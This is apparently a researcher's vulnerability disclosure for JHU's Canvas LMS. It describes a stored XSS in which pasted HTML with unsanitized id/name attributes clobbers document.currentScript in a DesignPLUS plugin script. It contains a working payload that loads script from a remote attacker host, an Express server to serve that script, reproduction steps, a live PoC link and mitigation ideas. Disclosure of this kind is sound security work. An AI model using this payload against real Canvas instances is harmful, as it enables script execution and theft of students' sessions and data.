-
Notifications
You must be signed in to change notification settings - Fork 6
Report Canvas
The Canvas LMS used by JHU allows students to post discussions with certain embedded HTML tags in the Discussions section for any course. However, the id and name attributes for these HTML tags are improperly sanitized. Attackers can exploit this lack of sanitization to craft an HTML payload that triggers DOM Clobbering gadgets on the published page, resulting in stored cross-site scripting (XSS) attacks affecting all users.
The impact of this vulnerability could lead attacker carry out any actions that the user is able to perform, including accessing the user's data or modifying information within the user’s permissions by forging the request thorugh the XSS.
This stored HTML injection vulnerability exists in the new discussion page (e.g. https://jhu.instructure.com/courses/64629/discussion_topics/new), which uses the TinyMCE editor. The editor's iframe has the contenteditable attribute, allowing it to accept rich-formatted HTML content from the user clipboard, refer to the HTML standard. This means an attacker can copy a rendered HTML element and paste it into the editor without stripping the id/name attributes. Consequently, Canvas saves the HTML within the editor without proper sanitization. The injected HTML element (e.g., with id/name attributes) will be rendered on the discussion topic page and be visible to all course students.
To leverage the HTML injection and escalate it to cross-site scripting, we identified a DOM Clobbering gadget within the published page's dependencies. For more information about the DOM Clobbering technique, please refer to the DOM Clobbering Wiki.
The gadget is located in a widely used plugin for Canvas, available at the following URL: https://cidilabs.com/landing/design-tools/. The specific dependency URL containing the DOM clobbering gadget is https://designplus.ciditools.com/js/content.js?v=2024.4.
The code snippet in the above resource is originally used to load other JavaScript dependencies dynamically. However, it is vulnerable to DOM clobbering attacks because an attacker can overshadow the document.currentScript result with their injected HTML elements (e.g., <embed name="currentScript" src="https://attacker.malicious.domain">). Consequently, the injected URL will be returned for the document.currentScript.src lookup. As the program proceeds, the injected URL will be used to load the script from the remote server, where the attacker's script will be loaded.
(()=>{
var e;
s.g.importScripts && (e = s.g.location + "");
var t = s.g.document;
if (!e && t && (t.currentScript && (e = t.currentScript.src),
!e)) {
var n = t.getElementsByTagName("script");
if (n.length)
for (var i = n.length - 1; i > -1 && !e; )
e = n[i--].src
}
if (!e)
throw new Error("Automatic publicPath is not supported in this browser");
e = e.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"),
s.p = e
}
A quick PoC can be found at this link: https://jhu.instructure.com/courses/64629/discussion_topics/791168. This is the course Canvas website (Spring24-OS) from last semester. I didn't use Fall23-Web Security for the demonstration because it is currently archived and I cannot add any new discussions. A disclaimer is included in the title and on the page, requesting people not to click on it as it is only for a security test. The payload embedded on the page will not harm visitors; it only triggers an alert showing the current domain and the visitor's cookie to demonstrate its exploitability.
To reproduce the problem, follow these steps:
Step 1
Open an HTML file and include the following payload. The src URL points to an attacker-controlled server. Currently, it is hosted at https://ede974edeb81.ngrok.app, but this may be down in the future. Any server hosting the /138.js route and returning the malicious script will work.
<embed name="currentScript" src="https://ede974edeb81.ngrok.app">
To start the server locally, use the following code:
const express = require('express');
const path = require('path');
const cors = require('cors');
const app = express();
const port = 3000;
// Allow all origins
app.use(cors());
app.get('/138.js', (req, res) => {
const filePath = path.join(__dirname, 'poc', 'alert.js');
res.sendFile(filePath);
})
// Start the server
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`);
});
Step 2 Copy the HTML element to the clipboard. The clipboard allows users to set text with an HTML type.
Step 3 Go to the new discussion page (e.g., https://jhu.instructure.com/courses/49399/discussion_topics/new) and paste the element into the editor.
Step 4 Click the save button. The injected HTML element should now be available on the discussion page.
I also create a short video to show its concept, which can be found thorugh this link: https://drive.google.com/file/d/1SdYz3nNrxVzTvnJKOpcvegLLHIesYB3k/view?usp=sharing
The vulnerability is generally challenging to patch due to the following reasons:
-
HTML Injection: The
idandnameattributes might be intentionally used (e.g., for markdown headers) in the content provided by theTinyMCEeditor. Therefore, sanitizing these attributes might break the intended functionality. -
DOM Clobbering Gadget: Attackers can still find other gadgets, and the dependencies are also out of control.
As far as I know, the latest Canvas LMS adopts more comprehensive sanitization of HTML tag attributes (e.g., the name attribute of the embed tag has been sanitized).
Another possible solution is to isolate the user-provided content within an iframe with the appropriate sandbox attribute. This approach helps to contain potentially harmful scripts and prevents them from affecting the main application.
![]()
- Related Works
- HTML Injection
- DOM Clobbering
- Evaluation
- Discussion
- Others